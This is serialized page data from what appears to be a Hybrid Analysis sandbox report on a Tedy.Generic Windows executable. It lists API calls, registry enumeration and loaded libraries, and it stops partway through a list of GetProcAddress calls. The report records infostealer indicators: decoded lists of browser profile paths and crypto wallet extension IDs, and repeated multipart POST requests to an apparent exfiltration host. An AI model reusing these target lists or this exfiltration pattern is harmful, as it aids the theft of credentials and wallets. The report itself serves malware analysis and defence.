24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 44:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T495,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Tedy.Generic Sample 9be331f1059d… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 9be331f1059d…. Malware family: Tedy.Generic. Threat score 100/100. 6/28 AV engines flagged this file. 4 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b","keywords":["Malicious","Tedy.Generic","malware analysis","sandbox report","threat intelligence","9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b"],"about":{"@type":"SoftwareApplication","name":"6520ebb48dc3ed5025c52f35cfcf49dd.exe","applicationCategory":["peexe","executable"],"identifier":"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Tedy.Generic","antivirusDetections":{"malicious":6,"total":28},"behavioralIndicators":{"malicious":4,"suspicious":11},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T445,Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API "VirtualAllocExNuma" (Indicator: "VirtualAlloc"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API "VirtualAllocExNuma" (Indicator: "VirtualAllocEx"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp")26:T5a2,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000001.69491.04F90000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000001.69491.04F90000.00000040.mdmp") Found string "!"#$%&'()*+,-./0123@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000001.69491.04F90000.00000040.mdmp"), Found string "!"#$%&'()*+ -./0123@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004348.00000001.69491.046E0000.00000040.mdmp 00000000-00004348.00000001.69491.04F90000.00000040.mdmp")27:T5bd,"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pcbBinary": "00000000" "$error": "d"} "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pcbBinary": "40050000"} "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pbBinary": "Google Chrome|\\Google\\Chrome\\User Data|chrome|chrome.exe|Google Chrome Canary|\\Google\\Chrome SxS\\User Data|chrome|chrome.exe|Chromium|\\Chromium\\User Data|chrome|chrome.exe|Amigo|\\Amigo\\User Data|chrome|0|Torch|\\Torch\\User Data|chrome|0|Vivaldi|\\Vivaldi\\User Da" "pcbBinary": "40050000"} "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pcbBinary": "cf0e0000"} "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "CryptStringToBinaryA" with parameters {"cchString": "0" "dwFlags": "1" "pbBinary": "MetaMask|djclckkglechooblngghdinmeemkbgci|1|0|0|MetaMask|ejbalbakoplchlghecdalmeeeajnimhm|1|0|0|MetaMask|nkbihfbeogaeaoehlefnkodbefgpgknn|1|0|0|TronLink|ibnejdfjmmkpcnlpebklmnkoeoihofec|1|0|0|Binance Wallet|fhbohimaelbohpjbbldcngcnapndodjp|1|0|0|Yoroi|ffnbelfd" "pcbBinary": "cf0e0000"}28:T169c,Contains base64 string in header "POST" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGHHost: bidbur.comContent-Length: 214Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGHHost: bidbur.comContent-Length: 214Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGHHost: bidbur.comContent-Length: 214Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGHHost: bidbur.comContent-Length: 214Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "JEGHJDGIJECGDHJJECGHHost" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGHHost: bidbur.comContent-Length: 214Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGHHost: bidbur.comContent-Length: 214Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDBFBGIDHCAAKEBAKFIHost: bidbur.comContent-Length: 462Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDBFBGIDHCAAKEBAKFIHost: bidbur.comContent-Length: 462Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDBFBGIDHCAAKEBAKFIHost: bidbur.comContent-Length: 462Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDBFBGIDHCAAKEBAKFIHost: bidbur.comContent-Length: 462Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "CGDBFBGIDHCAAKEBAKFIHost" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDBFBGIDHCAAKEBAKFIHost: bidbur.comContent-Length: 462Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDBFBGIDHCAAKEBAKFIHost: bidbur.comContent-Length: 462Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDAAEGIDHDGCAAFCBAHost: bidbur.comContent-Length: 461Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDAAEGIDHDGCAAFCBAHost: bidbur.comContent-Length: 461Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDAAEGIDHDGCAAFCBAHost: bidbur.comContent-Length: 461Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDAAEGIDHDGCAAFCBAHost: bidbur.comContent-Length: 461Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "FHJDAAEGIDHDGCAAFCBAHost" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDAAEGIDHDGCAAFCBAHost: bidbur.comContent-Length: 461Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDAAEGIDHDGCAAFCBAHost: bidbur.comContent-Length: 461Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHDHost: bidbur.comContent-Length: 3773Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHDHost: bidbur.comContent-Length: 3773Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHDHost: bidbur.comContent-Length: 3773Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHDHost: bidbur.comContent-Length: 3773Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "BFIDGDAKFHIEHJKFHDHDHost" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHDHost: bidbur.comContent-Length: 3773Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHDHost: bidbur.comContent-Length: 3773Connection: Keep-AliveCache-Control: no-cache"29:T55e,"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004348)2a:Te45,"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI"; Key: "DISPLAYNAME") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI"; Key: "DISPLAYVERSION") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3"; Key: "DISPLAYNAME") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3"; Key: "DISPLAYVERSION") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER"; Key: "DISPLAYNAME") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX"; Key: "DISPLAYNAME") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DXM_RUNTIME") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DXM_RUNTIME"; Key: "DISPLAYNAME") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\FONTCORE") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\FONTCORE"; Key: "DISPLAYNAME") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE40") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE40"; Key: "DISPLAYNAME") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE4DATA") "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" (Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE4DATA"; Key: "DISPLAYNAME")2b:Tcb4,"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter C:\9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.ENU (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter C:\9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.EN (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter OLEAUT32.DLL (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter wininet.dll (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "LoadLibrary" with a parameter rstrtmgr.dll (UID: 00000000-00004348)2c:T8ab2,"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter 